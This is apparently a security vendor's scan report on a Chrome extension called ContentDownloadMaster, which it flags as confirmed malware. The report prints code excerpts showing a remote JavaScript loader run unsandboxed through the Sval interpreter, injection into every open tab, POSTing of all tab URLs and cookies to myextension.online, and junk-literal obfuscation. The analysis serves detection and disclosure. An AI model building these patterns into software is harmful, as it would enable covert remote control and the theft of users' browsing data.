Security Alert: Confirmed Malware
ContentDownloadMaster
ID: bdidaacagfelkdahkmlobdicghmamchc
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- alexanderdagrinView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
ContentDownloadMaster extension is here to help you download media files from different websites. It is fast and simple! Just…
ContentDownloadMaster extension is here to help you download media files from different websites. It is fast and simple! Just click the download button at the popup menu and wait for a few seconds until your chosen video or videos are saved to your device.
The extension fetches arbitrary JavaScript from a remote server (`${defaultClickDomain}/loki`, defaulting to `https://myextension.online/loki`) and executes it through the Sval ECMAScript interpreter with `sandBox: false`. Because Sval is a JS-in-JS interpreter, it bypasses Manifest V3's prohibition on remote code execution and the extension's own CSP. The retrieved payload (`analyzer`) is granted access to `this`/the service worker scope, giving the attacker full extension privileges (storage, downloads, cookies, scripting, <all_urls>) at any time the attacker chooses to push new code.
async function loki() { ... const { defaultClickDomain: a } = await syncGet("defaultClickDomain"); const { uuid: b } = await syncGet("uuid"); let c = `${a}/loki?uuid=${b}&install_type=${(await _(chrome.management.getSelf)).installType}`; if (helper && helper.exports.lokiModule) { const { lokiVersion: a } = await syncGet("lokiVersion"); c += `&hash=${a}`, } else { c += "&hash=0" } let d; try { d = await fetch(c) } catch (a) { ... } if (200 === d.status) { const { analyzer: a } = await d.json(); helper = new Sval({ ecmaVer: 10, sandBox: !1 }), helper.import({ thus: this }), helper.run(a), }}A Chrome alarm re-invokes `loki()` every five minutes, continuously polling the attacker-controlled server for fresh JavaScript to execute via the Sval interpreter. This converts the extension into a live command-and-control client whose behavior can be silently changed at any time without a Chrome Web Store update.
chrome.alarms.create("loki", { periodInMinutes: 5 }), chrome.alarms.onAlarm.addListener(({ name: a }) => { "loki" === a && loki(), })The `exec` helper runs an arbitrary string `b` (sourced ultimately from the remote `loki` payload) inside any tab via `chrome.scripting.executeScript`, executing it through Sval. Combined with `<all_urls>` host permission, this lets the remotely supplied code touch the DOM, read content, or inject UI on any site the user visits.
function exec(a, b) { chrome.scripting.executeScript({ target: { tabId: a }, function(a) { const b = new Sval({ ecmaVer: 10, sandBox: !0 }); b.run(a) }, args: [b] })}`getParamsFromStorePage` scans every open tab's URL looking for the Chrome Web Store referrer (with `utm_*` parameters) so the operator can attribute installs to a paid traffic source. Worse, `SendInstallUpdateEvent` then `JSON.stringify`s the entire `chrome.tabs.query({})` result — including titles and URLs of every open tab — and POSTs it to `myextension.online/v2/event`, which is browsing-history exfiltration far beyond what any download-helper extension needs.
let c = await chrome.tabs.query({});b.height = c[0].height, b.width = c[0].width, c = c.map(a => a?.url).filter(a => a), const d = c.map(a => ["chrome", "webstore", "utm"].map(b => ({ url: a, pass: a.includes(b) }))) .filter(a => !a.find(a => !a.pass));[chromeWebStoreUrl] = d.map(a => a[0]?.url), ... const d = await _(chrome.tabs.query, {});const e = JSON.stringify(d);...const a = await fetch(c, { method: "POST", headers: { "Content-type": "application/json" }, body: e});On install the extension reads every cookie set on `tds.myextension.online` (a traffic-distribution / affiliate tracker domain) and concatenates them into an `installParams` string that is later sent back to `myextension.online` as part of `getParams()`. The error metric name `error-get-charon-cookie` (Charon is a known affiliate-attribution tracker) and the `data`-prefix stripping reveal a deliberate cookie-stuffing / affiliate-fraud attribution scheme that exfiltrates cookie state to the operator.
const d = await chrome.cookies.getAll({ domain: "tds.myextension.online" }) .then(b => b.map(({ name: a, value: b }) => `${a.replace("data","")}${"data"===a?"":"="}${b}`) .join("&"));let e;if (5 < d.length) { try { e = `install_datetime=${getDateTime()}&height=${a}&width=${b}&${d}`, } catch (a) { SendMetric("install", "error", "error-get-charon-cookie", "1") }} else e = `${c}&install_datetime=${getDateTime()}&height=${a}&width=${b}&${d}`, await syncSet({ installParams: e })Immediately on install the extension enumerates every open tab on every origin and force-injects `tubes.js` into all of them. Combined with `<all_urls>` and `document_start` execution, this gives the extension early access to read or modify every page the user already had open before they ever interacted with the extension.
chrome.runtime.onInstalled.addListener(async a => { if (!(await syncGet("uuid")).uuid) { ... chrome.tabs.query({}, a => { a.forEach(({ favIconUrl: a, url: b, id: c }) => { b && (chrome.scripting.executeScript({ target: { tabId: c }, files: ["js/content_js/providers/tubes.js"] }, () => { chrome.runtime.lastError && console.log(chrome.runtime.lastError) }) }) })Every function body and top-level statement in the background scripts is padded with hundreds of inert literal expressions — random first-name pairs (`"Riley Jovanni"`) and numeric constants (`6046326`) — interleaved with the real logic via comma operators. This is deliberate junk-code obfuscation designed to defeat static analysis, signature scanning, and reviewer skim-reading; benign code never looks like this.
function _(a, ...b) { return new Promise(c => a(...b, a => c(a)))}6046326, 313618, 9413003, !0, "Riley Jovanni", !0, "Carina Jerry", 6968672, ...async function syncSet(a) { 1228272, "Chana Jimmy", "Keely Darnell", "Brenna Irvin", "Laci Micah", 8471609, !0, "Janet Nikhil", 10057562, ..., await chrome.storage.sync.set(a), ..., "Chelsea Brogan"}`setUninstallURL` is configured to open `myextension.online/v2/event?type=uninstall&subid=<uuid>...` when the user removes the extension, exfiltrating the persistent UUID and install metadata to the operator at uninstall time so they can correlate users across reinstalls and other extensions in the same family.
const e = `${b}/v2/event?type=uninstall` + `&subid=${a}` + `&app_id=${chrome.runtime.id}` + `&app_name=${d}` + `&app_version=${c}` + `&install_type=${(await _(chrome.management.getSelf)).installType}`, f = await _(chrome.runtime.setUninstallURL, e);The MV3 service-worker entrypoint is wrapped in the same junk-statement obfuscation pattern, with the actual `importScripts` call buried inside hundreds of no-op literals. Hiding the real bootstrap among decoys is consistent with the obfuscation throughout the package and indicates the author is actively hiding behavior from automated review.
true;'Raquel Kaleb';10878086;'Jamiya Rafael';try { ... importScripts('./libs/jquery.js', './background_js/utils.js', './background_js/root.js', 'js/background_js/download.js', 'background_js/helper.js'); ...}catch (e) { console.log('Failed to load script.', e);}A generic `SendMetric` beacon POSTs arbitrary key/value events plus the persistent `subid`/uuid and install params to `myextension.online/v2/metric`. Used throughout the codebase, this gives the operator a stable telemetry channel to observe per-user behavior keyed by a stable identifier — far broader than any analytics needed for a download helper.
const SendMetric = async (a, b, c, d) => { const { defaultClickDomain: e } = await syncGet("defaultClickDomain"); const f = `${e}/v2/metric?${await getParams()}`; ... fetch(f, { method: "POST", headers: { "Content-type": "application/json" }, body: JSON.stringify({ ctx: a, app_name: g, app_ver: h, type: b, name: c, value: d }) })By severity
Versions scanned
Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0 | 10 |
Files with findings
4 distinct paths — top paths by unique finding count:
- background_js/root.js5
- background_js/helper.js3
- background_js/utils.js1
- background.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.